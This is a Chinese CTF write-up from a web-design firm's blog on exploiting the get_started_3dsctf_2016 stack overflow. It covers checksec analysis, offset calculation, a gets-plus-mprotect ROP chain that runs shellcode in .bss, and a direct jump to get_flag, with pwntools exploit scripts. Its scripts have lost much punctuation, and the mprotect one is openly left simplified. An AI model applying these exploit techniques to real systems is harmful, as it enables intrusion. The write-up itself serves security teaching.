ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

栈溢出漏洞利用:从NX绕过到后门函数调用的两种实战思路

2026/8/8 23:08:17 拓冰建站 浏览量
栈溢出漏洞利用:从NX绕过到后门函数调用的两种实战思路 1. 从一道经典CTF题看栈溢出的两种解题思路最近在复盘一些经典的Pwn题目BUUCTF平台上的get_started_3dsctf_2016这道题给我留下了挺深的印象。它本身难度不算太高但提供了一个非常典型的场景让我们可以探讨在栈溢出漏洞利用中当常规的system(/bin/sh)路径被阻塞时如何灵活地切换攻击思路。这道题的核心就是绕过限制拿到目标系统的shell。网上常见的解法主要有两种一种是利用题目中已有的mprotect函数来“改造”内存属性然后执行我们注入的shellcode另一种则是通过巧妙的ROP链构造调用已有的get_flag函数直接输出flag。这两种方法各有千秋也正好对应了Pwn中两种基础的利用范式。今天我就结合自己的调试过程把这两种解法的原理、步骤和其中的一些关键细节掰开揉碎了讲清楚希望能给正在入门二进制安全的朋友一些参考。2. 环境搭建与题目初步分析在开始任何漏洞利用之前搭建一个稳定、可复现的调试环境是第一步也是避免后续很多莫名其妙问题的关键。2.1 题目文件获取与基础检查首先从BUUCTF平台下载到题目附件通常是一个名为get_started_3dsctf_2016的ELF可执行文件。拿到文件后不要急着运行先用file和checksec命令对它进行一个快速的“体检”。file get_started_3dsctf_2016输出会显示这是一个32-bit的ELF可执行文件并且是statically linked静态链接的。静态链接意味着程序运行所需的所有库函数代码都被打包进了这个文件本身这直接影响了我们后续寻找gadget和函数地址的策略。checksec --fileget_started_3dsctf_2016checksec的结果通常如下Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这里有几个关键信息Arch: i386-32-little: 确认是32位程序这决定了函数调用时参数传递的方式通过栈传递和寄存器宽度。Stack: No canary found:栈上未开启金丝雀Canary保护。这是本题能够进行栈溢出利用的根本前提。金丝雀是一种在函数返回地址前放置的随机值用于检测栈是否被破坏。没有它我们就可以肆意覆盖返回地址。NX: NX enabled:栈不可执行No-eXecute保护开启。这是本题的第一个关键限制。它意味着即使我们成功将shellcode写入栈上的缓冲区当程序跳转到栈地址去执行时处理器会抛出异常因为栈内存页的属性是“不可执行”的。这迫使我们必须寻找其他执行代码的途径。PIE: No PIE:地址空间布局随机化Position-Independent Executable未开启。这是一个对我们极大利好的消息。它意味着程序每次加载到内存中的基地址是固定的通常是0x8048000。因此我们通过静态分析如objdump,readelf找到的函数地址和gadget地址在程序运行时是直接可用的无需泄露或计算偏移。2.2 调试环境配置与程序行为观察我推荐使用pwntools的gdb调试功能配合GEF或Peda插件可以极大提升效率。首先写一个简单的Python脚本用pwntools启动程序并附加gdb。from pwn import * context(archi386, oslinux, log_leveldebug) p process(./get_started_3dsctf_2016) gdb.attach(p, b *main c ) p.interactive()运行脚本程序会中断在main函数入口。此时我们反汇编main函数看看。disassemble main通过反汇编我们可以快速定位到程序中存在的可疑函数比如gets、scanf、strcpy等不检查边界危险的函数。本题中很容易找到一个调用了gets的函数。我们跟进去看看。假设这个易受攻击的函数叫vulnerable_function我们查看它的汇编push ebp mov ebp, esp sub esp, 0x38 ; 在栈上开辟了0x3856字节的空间 lea eax, [ebp-0x38] push eax call 0x8048e60 gets ; 调用gets函数向ebp-0x38处写入数据 add esp, 0x4 nop leave ret这里的逻辑非常清晰sub esp, 0x38开辟了栈空间lea eax, [ebp-0x38]将缓冲区的起始地址ebp-0x38加载到eax并作为参数传递给gets。gets函数会一直读取输入直到遇到换行符没有任何长度限制。而缓冲区大小只有0x3856字节。那么从缓冲区起始地址ebp-0x38到保存的ebp值之间有56字节。覆盖掉保存的ebp4字节后紧接着的就是函数的返回地址。所以我们的溢出偏移量就是0x38 0x4 60字节。也就是说在填充60个字节的垃圾数据后我们写入的下一个4字节数据就会覆盖到返回地址从而控制程序执行流。注意这里的计算是缓冲区大小 旧的ebp。在某些编译器优化或不同架构下可能需要考虑对齐等因素。最稳妥的方法是通过模式字符串如cyclic在调试中精确计算偏移。3. 解法一利用mprotect“解锁”栈并执行Shellcode这是本题最经典、也最具教学意义的一种解法。它完美演示了如何绕过NX保护。3.1 mprotect函数原理与利用可行性分析mprotect是一个系统调用用于改变一片内存区域的保护属性读、写、执行。其函数原型为int mprotect(void *addr, size_t len, int prot);addr: 内存区域的起始地址必须按页对齐通常是0x1000的倍数。len: 要修改属性的内存区域长度。prot: 新的保护属性如PROT_READ | PROT_WRITE | PROT_EXEC7表示可读可写可执行。我们的目标是将栈空间或者我们写入shellcode的那片内存的属性改为可执行。那么我们首先需要知道mprotect函数在程序中的地址。由于是静态链接且无PIE这个地址是固定的。使用objdump或readelf查找objdump -d get_started_3dsctf_2016 | grep -A 5 -B 5 mprotect:或者用pwntools在脚本中查找from pwn import * elf ELF(./get_started_3dsctf_2016) mprotect_addr elf.sym[mprotect] # 或者 elf.plt[mprotect]但静态链接一般用sym print(hex(mprotect_addr))假设我们找到的地址是0x0806ec80。接下来我们需要确定栈的地址。在覆盖返回地址时我们的shellcode还在栈上我们需要知道它的具体地址来作为mprotect的addr参数。一种常见的方法是使用gdb在gets函数返回前即刚读完我们输入的数据时查看栈顶指针esp或缓冲区地址。更稳定的方法是利用程序本身的代码或寄存器状态。在本题中我们可以发现在vulnerable_function中调用gets之前缓冲区地址被加载到了eax寄存器。虽然函数返回时寄存器状态会变但我们可以通过ROP链来操控。然而这里有一个更直接的思路我们不一定非要用实时的栈地址。我们可以利用gets函数本身它不仅会读数据到栈上其返回值存储在eax就是我们输入的缓冲区的起始地址。如果我们能连续调用两次gets第一次布置ROP链调用mprotect第二次再读入shellcode到某个已知地址比如.bss段一个可写的全局内存区那么第二次gets的返回值shellcode地址我们就可以通过第一次的ROP链布局来传递给mprotect。3.2 构造ROP链调用mprotectROPReturn-Oriented Programming的核心是利用程序中已有的、以ret结尾的指令片段gadget来拼凑出我们想要的逻辑。对于32位程序函数参数通过栈传递。调用约定是call指令等价于push eip; jmp func。而函数内部通常以ret等价于pop eip返回。因此要调用mprotect(addr, len, prot)我们需要在栈上布置如下结构| 垃圾数据 (覆盖到返回地址) | | mprotect函数地址 | - 覆盖后的返回地址指向这里 | 返回地址 (指向shellcode或下一个gadget) | | addr (参数1) | | len (参数2) | | prot (参数3) |当 vulnerable_function 的ret执行时它会从栈顶弹出mprotect_addr到eip从而跳转到mprotect。同时栈指针esp会指向我们布置的“返回地址”位置。mprotect函数会将其之后的三个值当作它的三个参数。但是这里有一个问题mprotect执行完后会返回到我们布置的“返回地址”处。我们希望它返回到我们的shellcode。所以“返回地址”应该设置为shellcode的地址。那么shellcode放在哪里我们可以把它放在ROP链的后面也就是prot参数之后。但这样mprotect的len参数就需要覆盖到shellcode的区域可能会破坏它。更清晰的做法是把shellcode放在整个payload的最末尾。而“返回地址”则指向一个pop; pop; pop; ret的gadget通常称为pop3_ret。这个gadget会连续弹出三个值正好是我们用来充当参数的三个值然后ret到栈上的下一个地址我们在这个地址放置shellcode的地址。所以最终的栈布局演进为| 偏移填充 (60字节) | | mprotect_addr | | pop3_ret_gadget_addr | - mprotect返回后跳到这里 | addr | | len | | prot | | shellcode_addr | - pop3_ret_gadget 执行pop pop pop后ret跳到这里 | shellcode |我们需要找到pop3_ret的gadget。使用ROPgadget工具ROPgadget --binary get_started_3dsctf_2016 | grep pop .* ; ret通常能找到类似0x0804f460 : pop ebx ; pop esi ; pop edi ; ret这样的gadget。注意这里弹出顺序是ebx, esi, edi这正好对应了Linux系统调用约定中mprotect的三个参数虽然理论上任何三个通用寄存器都可以因为函数内部会从栈上取参但使用这个gadget很直观。现在需要确定addr,len,prot的值。addr: 我们希望将shellcode所在内存页改为可执行。shellcode放在shellcode_addr处。我们需要让这个地址按页对齐addr ~0xfff。为了方便我们可以选择一个固定的、已知可写的地址比如.bss段通过readelf -S binary | grep .bss获取地址。假设.bss地址是0x080eb000页对齐后还是0x080eb000。len: 修改属性的长度至少一页0x1000。我们可以设置大一点比如0x1000。prot: 设置为7(PROT_READ | PROT_WRITE | PROT_EXEC)。shellcode_addr就是.bss段的地址0x080eb000。那么shellcode怎么写到.bss段去呢我们可以在第一次溢出时不仅布置ROP链还把shellcode作为字符串的一部分写进去。但更常见的做法是利用程序中的read或gets函数进行二次读写。我们发现原程序只有一个gets并且已经调用过了。但我们可以在ROP链中再次调用gets我们可以将gets的地址作为“返回地址”参数设置为.bss地址这样程序就会再次等待输入我们将shellcode输入到.bss段然后gets返回后再通过精心构造的链式返回跳转到mprotect最后执行shellcode。这就构成了一个更复杂的链式调用第一次gets溢出覆盖返回地址为gets_plt。栈上布置参数.bss地址作为第二次读入的目标地址。gets返回后跳转到我们布置的下一个地址比如pop; retgadget来平衡栈或者直接是mprotect的地址。此时程序等待第二次输入我们输入shellcode。第二次输入结束gets返回程序继续执行我们的ROP链调用mprotect修改.bss段属性。mprotect返回后跳转到.bss段执行shellcode。3.3 编写完整利用脚本与动态调试将上述思路转化为pwntools脚本。这里假设我们找到了以下关键地址from pwn import * context(archi386, oslinux, log_levelinfo) elf ELF(./get_started_3dsctf_2016) gets_addr elf.sym[gets] mprotect_addr elf.sym[mprotect] bss_addr 0x080eb000 # 假设的.bss地址需根据实际题目调整 pop3_ret 0x0804f460 # pop ebx; pop esi; pop edi; ret # 构造第一阶段payload调用gets将shellcode读入.bss段 offset 60 payload1 bA * offset payload1 p32(gets_addr) # 覆盖返回地址为gets payload1 p32(mprotect_addr) # gets返回后跳转到mprotect payload1 p32(bss_addr) # gets的参数目标缓冲区地址(.bss) # 发送第一阶段payload p process(./get_started_3dsctf_2016) # p remote(node4.buuoj.cn, 12345) # 远程连接 p.sendline(payload1) # 构造并发送第二阶段shellcode shellcode asm(shellcraft.sh()) payload2 shellcode p.sendline(payload2) # 此时栈上在gets返回后应该执行mprotect(bss_addr, len, prot) # 但我们需要在mprotect地址后面继续布置它的参数链 # 所以第一阶段payload实际上应该是 # payload1 bA*60 p32(gets_addr) p32(pop3_ret) p32(bss_addr) p32(mprotect_addr) p32(bss_addr) p32(0x1000) p32(7) p32(bss_addr) # 这需要更精细的栈布局有时需要多个gadget来调整栈指针。这里是一个简化版思路。 p.interactive()在实际操作中构造这样一条能连续调用两个函数并正确传递参数的ROP链需要反复调试确保每次函数返回后栈指针esp都指向我们期望的位置。这常常需要加入一些只做pop或add esp的gadget来调整栈。踩坑点静态链接程序体积大gadget非常丰富但同时也可能缺少我们想要的特定寄存器组合的pop指令。需要灵活运用搜索工具并理解函数调用前后栈的变化。有时候使用ROPgadget --binary xxx --ropchain可以生成一个初步的链但需要根据题目具体函数进行调整。4. 解法二直接调用后门函数get_flag如果第一种解法是“攻坚”那么第二种解法就是“巧取”。我们在反汇编或使用IDA Pro静态分析程序时应该养成搜索字符串和特殊函数名的习惯。在这道题里使用strings命令或者IDA的字符串窗口我们可能会发现一些有趣的字符串比如You answered correctly, go get your flag\n或者直接是flag.txt。进一步追踪这些字符串的交叉引用我们很可能发现一个名为get_flag或者print_flag的函数。用objdump或IDA查看这个函数objdump -d get_started_3dsctf_2016 | grep -A 20 get_flag:这个函数内部可能封装了打开flag.txt、读取内容并输出的逻辑。如果这个函数存在那么我们的利用就变得异常简单不需要任何复杂的shellcode和mprotect只需要将返回地址覆盖为这个get_flag函数的地址即可。4.1 定位后门函数与参数分析假设我们找到了get_flag函数地址是0x080489A0。我们需要确认它是否需要参数。查看其汇编开头push ebp mov ebp, esp sub esp, 0x28 ...如果函数开头没有从[ebp0x8]等位置取参数那么它很可能是一个无参函数。对于无参函数利用方式最简单直接。那么我们的payload就简化为| 偏移填充 (60字节) | | get_flag_addr |是的就这么简单。发送这个payload函数返回时就会跳转到get_flag去执行打印出flag。4.2 单次覆盖与利用脚本编写编写利用脚本from pwn import * context(archi386, oslinux, log_leveldebug) elf ELF(./get_started_3dsctf_2016) get_flag_addr elf.sym[get_flag] # 或者直接写地址 0x080489A0 offset 60 payload bA * offset p32(get_flag_addr) p process(./get_started_3dsctf_2016) # p remote(node4.buuoj.cn, 12345) p.sendline(payload) p.interactive()运行脚本理论上就能直接看到flag输出。4.3 对比分析与场景思考为什么第二种方法可行这通常出现在CTF的“教学”或“入门”题中。出题人故意在二进制文件中留下了这样一个“后门”函数旨在引导解题者去发现它并理解“控制流劫持”的最基本形式——跳转到任意地址执行。两种解法的对比解法一mprotect shellcode优点通用性强是一种绕过NX的经典方法在真实漏洞利用中也有参考价值。锻炼了ROP链构造、内存属性修改、多阶段payload设计等综合能力。缺点步骤繁琐依赖特定gadget需要精确计算地址和栈布局调试成本高。解法二直接调用get_flag优点简单、直接、高效。一旦发现后门函数几乎可以秒杀题目。缺点场景特殊完全依赖于题目设计在真实世界漏洞中几乎不存在这样的“福利”函数。这道题将两种解法都呈现出来非常有价值。它告诉我们在漏洞利用中信息收集至关重要一定要用尽各种静态分析手段strings,objdump,IDA,rabin2查看程序的所有细节也许惊喜就藏在某个不起眼的函数里。思路要灵活当一条路执行shellcode因为保护机制NX看起来受阻时要思考程序本身是否提供了其他完成目标的路径比如已有的输出flag的函数。理解漏洞本质无论是解法一还是解法二其根本都是栈溢出覆盖返回地址从而劫持控制流。这是所有利用的基础。5. 拓展思考当get_flag需要参数时怎么办在更复杂的情况下get_flag函数可能需要参数例如get_flag(int a, int b)。这时我们的利用就需要在覆盖返回地址的基础上进一步控制栈帧为函数提供正确的参数。假设get_flag的地址是0x080489A0它需要两个参数分别通过栈传递32位约定。那么我们的payload结构就需要调整为| 偏移填充 (60字节) | | get_flag_addr | | 返回地址 (可设为exit_addr或main_addr避免崩溃) | | 参数1 (a) | | 参数2 (b) |这里多了一个“返回地址”。因为get_flag执行完后会ret这个ret指令会从栈上弹出下一个值作为返回地址。如果我们不关心程序之后的状态可以将其设置为一个安全函数的地址如exit或者甚至是main函数地址让程序重新开始避免段错误导致连接中断。如何知道参数值需要逆向分析get_flag函数。也许参数是固定的魔法值比如get_flag(0xDEADBEEF, 0xCAFEBABE)。也许参数需要根据某种算法计算但通常CTF题中会设计得比较简单可能参数就藏在程序的某个全局变量里或者通过分析函数逻辑可以发现它只是比较参数是否等于某个特定值。例如在函数中看到cmp dword ptr [ebp8], 0x12345678 jne short loc_xxxx那么我们就知道第一个参数必须是0x12345678。构造带参数的ROP链是迈向更复杂利用的必经之路其原理与前面调用mprotect是相通的。6. 总结与实战心得回顾复盘get_started_3dsctf_2016这道题我们可以提炼出栈溢出利用的几个核心步骤和通用思路确定漏洞点与偏移通过静态分析和动态调试定位危险函数如gets和精确的溢出偏移量。使用cyclic模式字符串和gdb是黄金搭档。评估防护机制用checksec快速了解NX,CANARY,PIE,RELRO等情况这直接决定了利用的难度和方向。寻找利用路径捷径扫描首先搜索程序中的字符串、可疑函数名get_flag,win,system等看看有没有现成的“后门”。常规攻坚如果没有后门则规划如何达到目标执行命令、读取文件。如果NX开启则需要寻找像mprotect这样的函数来改造内存或者使用ROP技术调用execve等系统调用。搜集武器根据利用路径搜集所需的地址函数地址gets,mprotect,system、数据地址.bss,/bin/sh字符串、gadget地址pop-ret,pop-pop-pop-ret。精心构造绘制栈布局图精心构造payload。考虑函数调用约定、栈平衡、寄存器状态。对于复杂链分阶段构造并动态调试验证每一步。动态调试利用gdb单步跟踪观察每一步执行后寄存器、栈内存的变化是否与预期一致。这是解决“为什么我的exp不工作”问题的最有效手段。最后关于选择mprotect还是直接调用后门函数我个人在实战中的体会是永远先尝试最简单的方法。花几分钟做全面的静态分析搜索所有字符串和函数可能会节省几小时复杂的ROP链构造时间。但与此同时掌握mprotect和ROP这类通用技术是必不可少的因为它们是应对“无后门”真实场景的基石。这道题将两者并列正是希望学习者能同时掌握“巧劲”和“硬功夫”。在下次遇到栈溢出题目时不妨按照这个流程先快速过一遍思路会清晰很多。